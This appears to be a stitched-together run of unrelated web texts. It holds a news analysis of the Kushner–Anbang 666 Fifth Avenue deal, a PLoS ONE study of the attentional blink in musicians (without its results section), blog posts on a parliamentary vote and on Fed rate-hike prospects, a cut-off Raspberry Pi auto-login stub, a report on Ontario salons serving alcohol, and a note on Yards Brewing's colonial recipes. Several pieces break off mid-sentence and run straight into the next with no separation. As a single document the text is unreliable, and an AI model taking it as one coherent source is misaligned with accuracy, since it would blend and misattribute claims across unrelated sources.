Things went south from there. Critics had slammed the deal for being overleveraged – cash flow at the time of the purchase covered only 65 percent of the debt service – and indeed, Kushner eventually needed to work out a deal with the lenders and bring in Vornado Realty Trust as a partner in order to hold onto the asset.
All through the ordeal, he kept the faith. And if one read Bloomberg’s piece from Monday about an impending deal to bring Chinese insurer Anbang into the tower at terms highly favorable to Kushner Companies, it’d be easy to view the transaction as a home run for the firm and for Vornado.
According to Bloomberg, Anbang agreed to pay Kushner Companies $400 million and assume the lion’s share of the burden of redeveloping the building, adding luxury residential condominiums to the upper floors and revamping the retail. Anbang would seek a construction loan of over $4 billion for the project, according to the story, and Kushner Companies, which committed to a $750 million investment in the tower’s retail portion, would retain a 20 percent stake in the property. Vornado would walk away with a fat profit.
Several market observers, however, told TRD that the numbers, no matter how they’re spun, just don’t make sense. Some even questioned Anbang’s commitment to the property, saying the news reports could serve as a way for Kushner Companies to court other interested investors even if the Chinese insurer walks away.
Computer says no
“The capital stack [for 666 Fifth],” said one luxury condo developer active in the market, “is insane.” The investor documents obtained by Bloomberg estimate that the completed redevelopment will be worth $7.2 billion. For the project to pencil out at those numbers – even assuming very rosy projections for the office and retail components – the partnership would have to be underwriting the condos at an average of up to $9,000 per square foot, the developer said. That’s a price not even the most ostentatious of the current crop of buildings has come close to – 432 Park Avenue, for example, was asking an average of $6,894 per square foot, according to an analysis by TRD in January 2014. And it’s had to offer significant discounts to buyers.
Just 24 Manhattan sales have closed at north of $7,000 per square foot between the second quarter of 2015 and the first quarter of 2017, according to data provided to TRD by appraisal firm Miller Samuel. That’s an average of three sales per month.
“This [price point] would be an attempt to move Billionaires’ Row Onto Fifth Avenue,” said Jonathan Miller, CEO of Miller Samuel.
Another red flag is the size of the construction loan. At $4 billion, it would be many multiples of anything sought for a project of its type. Some of the city’s most prominent residential developers are chasing, with mixed success, construction loans in the $1 billion-range; HFZ Capital’s Ziel Feldman, for example, is in advanced talks with the Children’s Investment Fund to provide a $1.2 billion loan at 76 11th Avenue, while Gary Barnett, who is trying to score a $900 million loan for Central Park Tower, had to refinance existing land loans on the project because he couldn’t find the money in time.
Michael Stoler, who works on financing deals at Madison Realty Capital, called the $4 billion figure at 666 Fifth “crazy” – even if it factors in the $850 million in EB-5 funds that Kushner and Anbang are seeking.
“The only way this type of deal is going to be done is with the Chinese banks and then it’s going to be a structured deal,” he said, speculating that Anbang’s relationship with lenders like the Bank of China or the Industrial and Commercial Bank of China could help attract the needed funds. CMBS lenders have largely stopped doing construction loans, and banks balk at putting this much risk on their balance sheets.
“I could not see an American bank going into this type of deal,” he said.
Related Companies and Oxford Properties Group have landed around $5 billion in construction financing for an office tower at 30 Hudson Yards and the project’s nearby retail component, but the package was made up of smaller individual loans and involved a handful of owner-occupied office condo deals. Related is now in the market for a $2.56 billion loan to fund an office tower 50 Hudson Yards (projected total cost: $4 billion), and SL Green Realty last year landed a $1.5 billion loan from a syndicate of banks to fund the construction of its Midtown East office project One Vanderbilt.
But both projects are office towers where an anchor tenant has already signed on to take a big chunk of the space at a set rent, making them more palatable to lenders. Residential condo projects, in contrast, are now looked upon more warily by lenders because the income from them is harder to predict – how deep is the buyer pool for ultra-luxury apartments coming to the Midtown market three years or so from now?
One developer who considered – and then abandoned – converting a trophy Midtown office tower into condos is David Bistricer. In 2013, Bistricer’s Clipper Equity and Joseph Chetrit bought the Sony Building at 550 Madison Avenue for $1.1. billion and announced plans to convert the top floors into condos. They were reportedly in the market for a $1.4 billion loan to pay for the conversion, but changed course and sold the tower to the Olayan Group in 2016.
Bistricer argued that it’s too early to judge Kushner and Anbang’s $4 billion price tag without more information. For example, it wasn’t clear whether the figure includes a refinancing of the tower’s existing $1.15 billion mortgage debt. If that’s the case, and if the partners land $850 million in EB-5 funds as hoped, they would only need a pure construction loan of around $2 billion. Still a very large sum, but more manageable.
Bistricer argued that 666 Fifth’s smaller floor plates near the top lend themselves to a condo conversion. “There’s lot of light up there, it’s a great block,” he said. “You can make it work.”
Kushner Companies and Anbang are also looking to turn several lower floors into retail space, according to the New York Post. Sources told TRD that Kushner Companies was in talks with Spanish billionaire Armancio Ortega, whose company Inditex (parent to retail giant Zara) owns a large retail condo at the property, to partner with them on revamping the building’s retail and buying out some of the existing tenants.
“The amount of money they have to pay to buy out existing tenants is astronomical,” said one developer who’d heard about discussions at the property. “Which is what is driving the cap stack so high.”
And Stoler said that the few experiments with retail on multiple floors, such as Related’s Time Warner Center, have not yielded the desired returns, in part because it’s tough to get enough foot traffic on higher floors to justify pricey rents. And the retail market is softening in pricey neighborhoods like SoHo the Meatpacking District and, yes, Midtown.
Anbang – will they or won’t they?
Anbang was a rather obscure name outside of China before it decided to take on the U.S. real estate market. After it paid the Blackstone Group $1.95 billion for the iconic Waldorf Astoria in early 2015, Anbang’s chairman, Wu Xiaohui, suddenly became the big man on campus – he was written about in the Financial Times and Forbes, gave a talk at Harvard and rubbed shoulders with Henry Kissinger and Michael Bloomberg. Anbang also purchased the Strategic Hotels & Resorts portfolio from the Blackstone Group, but stumbled very publicly on a bid to purchase Starwood Hotels & Resorts. After entering a bidding war with Marriott International that drove the Starwood bid up to $14 billion, Anbang abruptly pulled out without explanation.
The company, which this year had a reported $295 billion in assets under management, has been mulling an initial public offering in Hong Kong, but its opaque ownership – the New York Times reported in September that it’s controlled by small-time Chinese merchants and villagers with ties to Wu, who is married to the granddaughter of former paramount leader Deng Xiaoping — has made it a tough prospect for an IPO, Bloomberg reported.
In January, the Times reported that Kushner and his father Charles met with Wu at the Waldorf Astoria in November and discussed a joint venture on 666 Fifth. The Anbang chief reportedly toasted to Donald Trump, Kushner’s father-in-law and now the U.S. president, adding that he would like to meet Trump. Soon after the story broke, Kushner sold his stake in 666 Fifth to a family-controlled trust.
If a deal between Kushner Companies and Anbang is finalized, it could add to Wu’s clout in China, according to Minxin Pei, a professor who focuses on Chinese politics.
“He [Wu] is purchasing political prestige, and that is a priceless asset for somebody like him,” Pei told the Times on March 14, after Bloomberg’s report on the agreement.
But some expressed doubt that Anbang would see the deal through, and the insurer has done nothing to calm those jitters. In a statement, a spokesperson for the company said Tuesday that “the information about Anbang investment in 666 Fifth Avenue is not correct, there is no investment from Anbang for this deal.” Bloomberg, too corrected its story, changing its headline from “Kushners set to get $400 million from Chinese” to “may get $400 million,” thus adding further confusion to the equation.
And, for now, at least, Kushner Companies is staying mum. A spokesperson for the firm would only say that it “is in active discussions around 666 5th Avenue, and nothing has been finalized.” When asked to comment about the deal at a Wednesday panel, Laurent Morali, president of Kushner Companies, said: “I don’t want to talk about that right now.”
(Click here to see a selection of transactions at 666 Fifth Avenue in our Deal Sheet)Abstract Background Formal musical training is known to have positive effects on attentional and executive functioning, processing speed, and working memory. Consequently, one may expect to find differences in the dynamics of temporal attention between musicians and non-musicians. Here we address the question whether that is indeed the case, and whether any beneficial effects of musical training on temporal attention are modality specific or generalize across sensory modalities. Methodology/Principal Findings When two targets are presented in close temporal succession, most people fail to report the second target, a phenomenon known as the attentional blink (AB). We measured and compared AB magnitude for musicians and non-musicians using auditory or visually presented letters and digits. Relative to non-musicians, the auditory AB was both attenuated and delayed in musicians, whereas the visual AB was larger. Non-musicians with a large auditory AB tended to show a large visual AB. However, neither a positive nor negative correlation was found in musicians, suggesting that at least in musicians, attentional restrictions within each modality are completely separate. Conclusion/Significance AB magnitude within one modality can generalize to another modality, but this turns out not to be the case for every individual. Formal musical training seems to have a domain-general, but modality-specific beneficial effect on selective attention. The results fit with the idea that a major source of attentional restriction as reflected in the AB lies in modality-specific, independent sensory systems rather than a central amodal system. The findings demonstrate that individual differences in AB magnitude can provide important information about the modular structure of human cognition.
Citation: Martens S, Wierda SM, Dun M, de Vries M, Smid HGOM (2015) Musical Minds: Attentional Blink Reveals Modality-Specific Restrictions. PLoS ONE 10(2): e0118294. https://doi.org/10.1371/journal.pone.0118294 Academic Editor: Jan de Fockert, Goldsmiths, University of London, UK, UNITED KINGDOM Received: July 7, 2014; Accepted: January 13, 2015; Published: February 25, 2015 Copyright: © 2015 Martens et al. This is an open access article distributed under the terms of the Creative Commons Attribution License, which permits unrestricted use, distribution, and reproduction in any medium, provided the original author and source are credited Data Availability: All relevant data are within the paper and its Supporting Information files. Funding: This research was supported by a grant of the Behavioural and Cognitive Neurosciences (BCN) Research School. The funders had no role in study design, data collection and analysis, decision to publish, or preparation of the manuscript. Competing interests: The authors have declared that no competing interests exist.
Introduction “Music is the art of thinking with sounds”, according to the French music scholar Jules Combarieu (1859–1915). Being an important part of human culture, everyday exposure to music teaches most children basic musical competence, enabling them for instance to tap and dance to music, detect wrong notes, remember and reproduce familiar tunes and rhythms, and feel the emotions expressed in music [1]. On top of the common experience of listening to music, it has been shown that formal musical training can have a number of domain-specific effects on music perception [2–7] and can alter structure and function of localized brain areas [8–11]. Although there has been some controversy regarding the question whether formal musical experience can also have domain-general effects (i.e., effects that are not specific to the perception of music) [12], several studies have reported that explicit musical instruction benefits a range of domain-general abilities such as pre-reading and reading ability, mathematical and spatial abilities, creativity, and general intelligence [13–16]. Germane to the current study, beneficial effects on attentional and executive functioning, processing speed, and working memory have also been observed [17–20]. For instance, a recent study by Zuk et al. [20] found that musicians demonstrate enhanced performance on several constructs of cognitive flexibility, such as verbal fluency (the ability to name as many objects that match a certain criterion (e.g. animals) within 60 seconds), design fluency (the ability to connect a set series of dots to make as many different designs as possible within 60 seconds), and the Trail Making test (a measure of visual attention and task switching efficiency). In addition, they reported that musically trained children show increased brain activity in parietal areas and the right ventrolateral prefrontal cortex (VLPFC) when involved in rule representation and task-switching. Interestingly, the same cognitive processes and associated brain areas have been suggested to play a crucial role in the Attentional Blink (AB) phenomenon [21]. The AB is a deficit in reporting the second of two targets when presented in close temporal succession. Being a central topic in attention research for more than two decades, it has proven to be a powerful tool to measure the temporal dynamics of attention [21–24]. As the AB can be obtained using a variety of stimuli and task conditions, it is thought to reflect a very general property of perceptual awareness [21]. However, while the AB is considered to arise from a fundamental restriction of attentional capacity and/or control, people differ widely in the magnitude of the AB, with some individuals (referred to as non-blinkers) showing little or even no AB [21,25–44]. When comparing these non-blinkers with strong blinkers, activation differences in parietal as well as the right VLPFC have been observed [25]. Given the spatial overlap of differential brain activity for non-blinkers (vs. blinkers) and musically trained (vs. untrained) individuals, it may be interesting to investigate the AB in musicians. If attentional and executive functioning, processing speed, and working memory are indeed enhanced in musicians, one would predict that they may also show a reduced AB effect, similar to what has also been observed in expert meditators [38] and video gamers [40]. Therefore, the primary goal of the current study was to determine whether the beneficial effect of musical training on attention and working memory is reflected in the AB. If, in comparison to non-musicians, an effect can indeed be observed, an intriguing subsequent question will be whether it is present within the auditory modality only, or whether the positive effect of musical training on the efficiency of selective attention carries over to both the auditory and the visual modality. Both cases would provide evidence for a domain-general effect of musical training experience on selective attention. In contrast, a modality-specific effect (i.e., auditory only) would pinpoint boundaries in and between attention and ‘the art of thinking in sounds’. To test these hypotheses, two experiments were carried out using stimuli of equivalent difficulty that were either presented in the auditory (Experiment 1) or visual modality (Experiment 2). In each experiment, a group of musicians and a group of non-musicians performed an AB task, requiring the identification of letter targets amongst a rapid sequential stream of digit distractors.
Methods Experiment 1 Participants A group of 29 volunteers (aged 18–34, mean = 22.4 years) formed the musicians group, recruited from the University of Groningen community and the Prince Claus Conservatoire. All musicians had attended lessons in playing one or more musical instruments for at least 4 years and actively played a minimum of 4 hours a week. Twenty-nine additional volunteers, recruited from the University of Groningen community (aged 18–33, mean = 22.2), formed the control group (“non-musicians”). Unlike the musicians, they reported to have no noteworthy musical background. All participants had Dutch as their native language, normal or corrected-to-normal visual acuity, normal hearing and no history of neurological problems. The Neuroimaging Center Institutional Review Board approved the experimental protocol and written consent was obtained prior to the experiment. Participants received payment of € 6. Stimuli and Apparatus Stimuli consisted of spoken consonant letters (excluding ‘S’ and ‘V’) and digits (excluding ‘1’, ‘5’, ‘6’, ‘7’, and ‘9’), which were digitally recorded and compressed to 120 ms duration. The stimuli were presented at approximately 83 dB using Sony MDR-V600 headphones. The generation of stimuli and the collection of responses were controlled by using E-prime 1.2 software [45] running under Windows XP on a PC with a 2.8-GHz processor. Procedure Prior to each trial, a fixation point appeared in the middle of a 17-inch CRT monitor together with a message at the bottom, prompting participants to press the space bar to initiate the trial. When the space bar was pressed, the message disappeared immediately. The fixation cross remained on the screen for 250 ms, followed by a sequential stream of 22 stimuli. Each item was presented for 120 ms, with an inter stimulus interval of 10 ms. In 80% of the trials, two target letters were embedded in the stream (dual-target trials), and in 20% of the trials, only one target was present (single-target trials). In single- and dual-target trials, T1 was always presented as the fifth item in the stream. In dual-target trials, T2 was the first, second, third, or twelfth item following T1 (i.e., T2 was presented at lag 1, 2, 3, or 12, respectively). Thus, the stimulus onset asynchrony (SOA) between the targets randomly varied from 130, 260, 390, to 1560 ms. Each SOA was presented equally often. Target letters were randomly selected with the constraint that T1 and T2 were always different letters. Digit distractors were randomly selected with the constraint that no single digit was presented twice in succession. After the presentation of the stimulus stream, participants were asked to identify the presented targets, if possible, by pressing the corresponding keys on the computer keyboard. Participants were instructed to take sufficient time in making their responses to ensure that typing errors were not made. If a target was missed or absent, participants were instructed to press the space bar instead. Responses were accepted and counted correct in either order. After responses were collected, participants could initiate the next trial by pressing the space bar. The experiment consisted of three practice blocks and two experimental blocks. In the first practice block, all 23 stimuli were presented one by one, in isolation. Participants identified each stimulus by pressing the corresponding key on a keyboard. When all stimuli had been presented once, stimuli that were not correctly identified were presented again in random order, until all stimuli were identified correctly. The second practice block contained 24 single-target trials, during which participants were required to identify the single target letter embedded within the stream of digit distractors. Feedback was provided at the end of each trial for 1 s. The block was repeated as long as accuracy remained below 70% (once for n = 15, twice for n = 3, three times for n = 3). In the last practice block as well as in the experimental blocks, stimulus streams with either 1 or 2 targets were presented, as described above. The practice block consisted of 30 trials, whereas the two experimental blocks consisted of 160 trials each. Feedback was provided in the practice block only. After the first experimental block, participants were allowed to take a short break. The experiment took approximately 45 minutes to complete. Experiment 2 To investigate whether a reduced auditory AB is accompanied by a reduced visual AB, an identification task similar to the auditory AB task was given, but using visual stimuli, similar to [34,35]. Participants All participants from Experiment 1 were re-invited and volunteered to participate in Experiment 2. The Neuroimaging Center Institutional Review Board approved the experimental protocol and written consent was obtained prior to the experiment. Participants received payment of € 4. Stimuli and Apparatus Stimuli consisted of consonant letters (excluding ‘Q’) and digits (excluding ‘0’ and ‘1’). They were presented in black on a white background presented in 12-point Courier New font, using the same hard- and software as in Experiment 1. Procedure Prior to each trial, a fixation cross was presented in the middle of the screen. When the space bar was pressed, the fixation cross disappeared immediately and was followed 100 ms later by the rapid serial visual presentation (RSVP) stream. Like the auditory stimulus stream in Experiment 1, the visual stream consisted of 22 stimuli, containing one target in 20% of the trials, and two targets in 80% of the trials. In contrast to Experiment 1, distractors in the visual AB task were presented for 90 ms. Following [32,34–36], we attempted to control task difficulty, keeping mean visual T1 performance in Experiment 2 equivalent to the mean auditory T1 performance in Experiment 1, for each individual participant, by manipulating the duration of visual targets in the following way. Each block of trials began with a target duration of 70 ms, immediately followed by a 20-ms mask (a digit). After the first trial, target and mask duration were variable, with target duration ranging from 20 to 80 ms. The sum of target and mask duration was always 90 ms, thereby keeping the interval between the onset of a target and the onset of a subsequent distractor constant. After each trial, a running average of T1 accuracy was calculated and compared to that individual’s mean T1 accuracy in Experiment 1. Whenever mean T1 accuracy in Experiment 2 became 5% higher than the mean T1 accuracy in Experiment 1, visual target presentation duration was decreased by 10 ms and mask duration was increased by 10 ms, thereby making visual target identification more difficult. When mean visual T1 accuracy became 5% lower than the mean auditory T1 accuracy (in Experiment 1), visual target duration was increased by 10 ms and mask duration decreased by 10 ms, thereby making visual target identification easier. The identity of a mask never corresponded with the identity of a preceding or following distractor digit. The first target was always presented as the fifth item in the stream. T2 was the first, second, third, or twelfth item following T1 (i.e., it was presented at lag 1, 2, 3, or 12, respectively), resulting in SOAs of 90, 180, 270, and 1080 ms. Note that lag 2 in the auditory experiment corresponded roughly with lag 3 in the visual experiment (SOAs of 260 and 270, respectively). Response instructions as in Experiment 1 were given. The experiment consisted of one practice block of 30 trials and two experimental blocks of 160 trials each. After each block, participants were allowed to take a short break. The experiment took approximately 30 minutes to complete.
General Discussion Even though the AB has long been considered as a fundamental bottleneck to become consciously aware of relevant information, several recent studies have argued against the existence of a hard-wired limitation, showing that experimental manipulations can strongly affect AB magnitude [38–40,46,53–62]. In addition, large individual differences in AB magnitude have been reported (e.g., [25]). If temporal attention is indeed under strategic control that varies between individuals, an important question is how general such a processing strategy is within individuals. To our knowledge, this is the first study to show that the auditory AB in musicians is both delayed and attenuated using non-musical stimuli, possibly reflecting a more efficient attentional distribution [25,39,44,46,47,54,63]. In contrast, the distribution of attention within the visual modality seems less optimal, evidenced by a larger visual AB and more lag-1 sparing in musicians, relative to performance in participants without musical background. The domain-general but modality-specific effect of formal musical training is congruent with a study on mental imagery, which reported that musicians outperformed non-musicians on a non-musical auditory imagery task, but not on a visual imagery task [8]. In line with previous results [35], non-musicians with a large auditory AB also showed a large visual AB, suggesting that a similar target selection strategy was used for both modalities. Indeed individual auditory T1 performance correlated with visual T1 performance, for both groups. However, neither a positive nor a negative correlation was found between the musicians’ auditory and visual AB magnitudes, suggesting that at least in musicians, attentional restrictions within each modality are completely separate. Whereas we previously reported that some individuals (non-blinkers) can show a significant auditory AB but little or no visual AB [34], the present study demonstrates that the opposite result can also be found: A given individual can show substantial attentional restrictions within the visual modality but reduced restrictions within the auditory modality. This contrasting pattern of results provides further evidence that a major source of attentional restriction as reflected in the AB lies in modality-specific, independent sensory systems rather than a central amodal system. While it must be noted that attentional selection of multiple targets is likely to be restricted not only by modality-specific but also by central limitations [64–68], our current findings suggest that musical training seems particularly beneficial within the auditory modality rather than at a central amodal level. The particular expertise that musicians have gained through years of training may have optimized the formation as well as handling of auditory representations. This may allow for a more optimal timing of attentional allocation to auditory targets [58] similar to the more optimal deployment of attention for visual targets that has been observed in non-blinkers [25]. Though we did not find a negative correlation between visual and auditory AB magnitudes in musicians, their relative expertise for auditory information may have caused them to put relatively more effort in the identification of visual targets. The musicians’ increased lag-1 sparing as well as AB magnitude in our visual AB task provides support for this idea, in line with the overinvestment hypothesis that we and others have previously suggested [46,47,53,63]. Although we find it plausible to assume that musical training caused the described changes in attentional restrictions, additional research is required in order to empirically validate this assumption. If musical training really causes a decrease in auditory AB magnitude, it would be interesting to determine which aspects of the training actually contribute to the effect on the one hand, and which specific cognitive processes that are known to play a role in the AB are affected on the other hand.
Conclusions We conclude that people who are musically trained show an attenuated and delayed AB when required to identify two auditory targets amongst a stream of non-targets, possibly reflecting a more efficient allocation of attention. In contrast, the distribution of attention within the visual modality seems less optimal, evidenced by a larger visual AB and more lag-1 sparing in musicians, relative to performance in participants without musical background. Although in the current study non-musicians with a relatively large auditory AB also tend to show a relatively large visual AB (also see [35]), neither a positive nor negative correlation was found for the musicians. The results reported here fit with the idea that a major source of attentional restriction as reflected in the AB lies in modality-specific, independent sensory systems rather than a central amodal system [35,65,69,70]. This does not mean that attention is not limited at a central level. For instance, the positive correlation between visual and auditory T1 accuracy that we generally observed in both musicians and non-musicians may well arise from individual restrictions at a more central, amodal level. In addition, the results show that formal musical training can indeed have domain-general (i.e., not specific to the perception of music) beneficial effects, but that at least some of these effects are limited to the auditory modality and do not carry over to the visual modality. Taken together, the findings demonstrate that individual differences in AB magnitude can provide important information about the modular structure of human cognition.
Acknowledgments We thank two anonymous reviewers for their helpful comments on an earlier version of this article. Correspondence concerning this article should be addressed to Sander Martens, Neuroimaging Center, Antonius Deusinglaan 2, 9713 AW Groningen, the Netherlands. E-mail: s.martens@umcg.nl.
Author Contributions Conceived and designed the experiments: SM SMW MD MdV HGOMS. Performed the experiments: MD MdV. Analyzed the data: SMW MD MdV. Wrote the paper: SM SMW MD MdV HGOMS.Something strange just happened. Parliament has asserted itself over the Government. It doesn’t occur very often, and I can’t remember the last time the government lost a vote on a foreign policy matter. I am reminded of Viscount Cranborne‘s famous mea culpa after having been rapped over the knuckles for exceeding his authority. Like the good marquess, the executive “rushed in, like an ill-trained spaniel“, only to be chastised by the master it had almost forgotten it had.
Of course, the matter is not settled by any means. Parliament may wake up hung over and remorseful, and I’m sure the spaniel will be prowling the darkened halls of power, looking for someone to sink its teeth into, but for once it feels like we’re in a parliamentary democracy rather than an elected dictatorship.
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PocketThe latest read on the Fed’s preferred inflation metric was not particularly kind to policymakers:
Indeed, as Craig Torres at Bloomberg notes, this is only one of a number of indicators that should give a reality check to FOMC participants as December’s meeting approaches. A stronger dollar, weaker commodity prices, and falling inflation expectations suggest that the “transitory” negative weights on inflation might persist longer than the Fed anticipates.
In addition, since I last wrote, real time estimates of fourth quarter GDP weakened in the face of incoming data. And manufacturing is data is off to a weak start this month with a fall in the Chicago PMI. Indeed, manufacturing indicators are weaker than we would normally see at the onset of a tightening cycle, but the Fed is betting that these indicators are passé in a world dominated by services. And that side of the economy seems to be holding up nicely:
We get fresh national readings from the Institute of Supply Management this week. Still, even if the numbers are on the soft side, there is little I think that will dissuade officials from hiking rates in December. With unemployment at 5% and wage growth picking up to confirm receding slack in the labor market, the general consensus on Constitution Avenue is that the time is ripe to nudge rates higher. Wait any longer, the thinking goes, you risk being unable to raise rates “gradually.” It will be interesting to see how the Fed would react to a weak November labor report, due Friday. It seems as long as the employment report is not a complete disaster, even numbers on the soft side would be enough to justify Fed action on the basis that the underlying trends remain in place.
As Torres also notes, even if December is pretty much in the bag despite questions about inflation, the path of subsequent rate hikes will depend on confidence in the path of inflation. Boston Federal Reserve President Eric Rosengren via an extensive interview with the FT:
My own personal view is we should have a flexible approach to thinking about the path with gradual being the important consideration, but we are still not near 2 per cent inflation. By the core PCE at 1.3 per cent we are still pretty far away. What gives me reasonable confidence about the path of inflation is the fact that the labour market slack seems to be diminishing relatively quickly. But I would want to continue to see progress on wages and prices moving up. If we weren’t seeing wages and prices moving up over time our willingness to keep raising rates would go down... So it is partly conditional on whether that reasonable confidence, as your rates get higher you should probably want a standard that is a little higher than reasonable confidence. I would not expect to continue to see 1.3s for the core PCE. If we continue to see 1.3 [per cent] for the core PCE we would have to think about why is inflation not picking up towards our 2 per cent goal.
Will wages and prices move higher? I would be surprised if this wasn’t the case, assuming of course the economy maintains sufficient cyclical momentum to sustain further improvements in the labor force. An often-overlooked point is that wage growth is arguably not as puzzling as it seems. Consider the Atlanta Fed Wage Growth Tracker, which estimates median wage growth of matched individuals, those with earnings now and twelve months ago. By tracking persons with continuous employment over a year, this metric avoids the problem of compositional effects due, for example, to persons entering and leaving the labor force due, for example, to demographic shifts or cyclical factors. The Atlanta Fed measure compared to other measures of wages:
The Atlanta Fed measure accelerated in 2015 as unemployment moved below 6%:
Note the deceleration in wages in recent months; this is attributable to lower wage growth for women. Looking at men only, the relationship between unemployment and wage growth is somewhat tighter:
The Atlanta Wage Growth Tracker suggests that the underlying relationship between unemployment and wages remains intact. Weaker than expected wage growth seen in traditional metrics is thus attributable to compositional effects. These effects should lessen as unusually high levels of underemployment continue to recede (although demographic change will continue as high wage workers retire), and thus traditional wage metrics should accelerate. That is the Fed’s expectation as well.
But what about inflation? Will inflation necessarily move higher as labor markets improve further? That is still an open question. Rising wages would be evidence of decreasing economic slack, and Federal Reserve Chair Janet Yellen has said that she anticipates inflation to rise back to target as slack diminishes and the transitory impacts on inflation wane. Indeed, if the economy reverts to an equilibrium similar to that of the late 2000’s, we would expect both wage growth and inflation to both move roughly 100bp higher as unemployment declines toward 4.5%. In such a scenario, real wage growth would be unchanged. Indeed, adjusting the Atlanta Fed numbers for inflation indicates that real wage growth has already returned the late 2000’s range of 1.5-2% year-over-year:
It appears that the economy transitioned to lower real wage growth relative to the late 1990’s in response to the productivity slowdown.
Hence I think the base case of rising wages and prices remains reasonable – assuming sufficient cyclical momentum to carry unemployment lower still. But how much tightening can the economy weather before that cyclical momentum wanes? Therein lies the Fed’s challenge. Employment indicators tend to be lagging, and the economy may already be already easing into a soft patch. Conor Sen sees that the drivers of growth this cycle are abating, and hence activity will need to be a transition to new drivers. Note also signs that the US credit cycle is already tightening and the rising levels of distressed debt (only a third of which is oil and gas related). In other words, if the economy is indeed at an inflection point with credit conditions already tighter, the room for tightening is likely limited – and the room for error higher. This is likely more so the case in a world of low interest rates; in such a world, policy might turn tighter more quickly than in previous cycles.
Bottom Line: Just how data-dependent is the Fed when it comes to December? Not much, I think. They are likely just looking for evidence that basic labor market trends remain intact to justify pulling the pin on higher rates. Absent any sharp financial disruptions or disastrous data, it looks like we are on the final countdown to the first rate hike of this cycle. Beyond that, they will proceed very cautiously; this is especially the case if they don’t see evidence of still-declining slack in the form of rising wages and inflation. And if the economy turns choppy as the drivers of recent growth loose their momentum, policy will turn choppy as well. Indeed, in such an environment, future rate hikes would likely comes in fits and starts. Thus while 100bp of tightening is a reasonable baseline for next year, the path is not likely to be a smooth 25bp every other meeting. That will likely pose some interesting communications challenges for the Fed.Posted on 11th May 2013
Like most people you might have bought the Raspberry Pi to build your own appliance for home or office. The next thing you would do is setup the Raspberry Pi, connect your peripherals and install or develop the necessary software.
What you would expect to see at the end of your project is to power on the appliance and it should show you all the magic that you wanted to see.
The spoiler comes when the Pi boots to the login prompt and wait for you to enter the username and password. This article explains how to automate some of the tasks in a Raspberry Pi.
Auto Login
How to automatically login to Raspberry Pi text console as pi user.
Read this article Raspbian Jessie/Stretch AutoLogin to Console for configuring auto login on the latest Raspbian operating |
clad in black move about the gleaming space. “The process was tedious, long and quite frustrating,” says Fox referring to the municipal red tape that is part of the licensing process. “There was definitely a point where I was thinking, ‘This is never going to happen.’ ”
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She heard about the changes to the liquor laws at the end of September and applied right away for a fee of $1,055. She sees offering alcohol as part of the pampering that makes a visit to the salon enjoyable. (While many salons, bridal boutiques and spas offer their customers a complimentary glass of wine or champagne, it isn’t legal for a business to serve alcohol without a license.) Three Small Rooms is the second salon — the first is in Windsor, says Fox — to get such a license. Some 30 other businesses — including golf simulators, grocery stores, movie theatres and spas — have also applied, according to Lisa Murray, a spokesperson for the Alcohol and Gaming Commission of Ontario. Before the change, to be eligible for a liquor sales license the business had to be primarily selling food and/or liquor. Applicants must announce their intention in the local newspaper so citizens can lodge concerns with the commission. A salon in Hamilton was denied a license because its City Hall didn’t think it was in the best interests of the community. Businesses also have to go through a health, fire and safety inspection process and put up a large sign saying they’ve applied for the licence. Because serving light snacks is a requirement under the liquor laws, Fox has set up a small café in the front foyer with high-top glass tables, couches and a fireplace. Patrons have the option of a caffeinated, carbonated or alcoholic drink and a selection of locally made artisan sandwiches. Salons must also abide by the rules of bars and restaurants, meaning all employees must be certified with Smart Serve to ensure minors aren’t served and patrons don’t get drunk.
Fox, for example, is limiting her clients to one alcoholic beverage per visit. Although the law doesn’t limit the amount of drinks she’s allowed to serve, Fox said the drinks are an added service and not there to get customers intoxicated. It’s a salon, not a bar. Being able to serve alcohol is more than just a perk for patrons, though. It also provides businesses with new marketing opportunities. Kristen Wood, owner of The Ten Spot beauty bar, in Leslieville and Queen West is a good example.
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She was fined $300 for serving alcohol without a license in a 2006 undercover police operation after her salon became known for their martini and manicure events. Appointments were booked months in advance for the popular nights. She also hosted corporate events and bridal and bachelorette parties. “I actually didn’t know the law because I figured we’re not selling it, we’re only giving one per a person so it shouldn’t be a big deal,” says Wood, who was then 24. After she paid the fine, she started using special-occasion permits — up to two or three a week. Eventually, the alcohol commission cut her off. As a result, her salon no longer hosts private events because not being able to serve alcohol is a huge deterrent. Wood hadn’t heard about the amendments before being contacted by the Star recently: “I think (serving alcohol) would be such a huge asset to spas. Everybody wants to do it and tons of people do still do it illegally,” she says. “I’m literally hanging up the phone and am going to see what we need to do to apply. I am so excited about that, you have no idea. It was a huge impact on our business. Our numbers really did drop.” But don’t expect every hair salon, spa and nail place you visit to start serving mai tais. Jeanet Allinson, who owns Jeanet Spa and Salon in Yorkville, is skeptical. “It’s a nice offering for special occasions, but I think outside of that I don’t think it will really build business.” It wouldn’t work for her clientele, she explains, because many customers come in over their lunch hour and don’t want to drink. She adds that even over the holidays about 80 per cent of her clients declined when she offered a glass of champagne. In Barrie, however, Fox’s clients have embraced the new service. She poured the first glass of prosecco the day she got the license and has been pouring ever since. Fox hasn’t yet finalized what she’ll be serving to guests each day. She got the license and went straight to the local LCBO to stock up. She says her mother and co-owner will be finalizing a drink menu in the next few weeks, until then it’s whatever looks good. “I’m going to have a beer because I can,” said many of her male customers who came in for hair cuts in the last days of December. About half her clients buy a drink. And she predicts a number of husbands who previously waited for their wives in the car will come in for a drink to pass the time. Fox believes it’s time Canada caught up to the more liberal alcohol laws across the United States and Europe.In 1757, a colonel in the Virginia militia recorded the way that thirsty soldiers had made a DIY beverage with some water, hops, and molasses. The colonel: George Washington. Yes, the father of our country recorded instructions for making a very stiff beer. God bless America! Today, a mile and a half from Philadelphia’s Independence Hall, Yards Brewing Company has resurrected old George’s directions. It’s one of the brews in its Ales of the Revolution series, an homage to a time when our forefathers were creating a more perfect union—while getting drunk off their ass. But re-creating centuries-old formulas takes some detective work. And a liver of steel. “The beers back then tended to be very strong,” Yards founder Tom Kehoe says. Here’s how the recipes were revived.
General Washington’s Tavern Porter Kehoe found Washington’s formula for this brew favored by Colonial troops at the New York Public Library. “They’d drink half of a cask of porter, then add warm molasses and water steeped with bran oats,” he says. “In a few days, it’s carbonated beer.” Yards uses a similar method—minus the drinking, of course.
Poor Richard’s Tavern Spruce Ale Based on Ben Franklin’s recipe for spruce-based beer, which Kehoe found a copy of at a museum. It was great for warding off scurvy—spruce is high in vitamin C—but it tastes terrible. To get the smell of Christmas without the taste of Pine-Sol, Yards steeps spruce and needles in the kettle late in the boil.
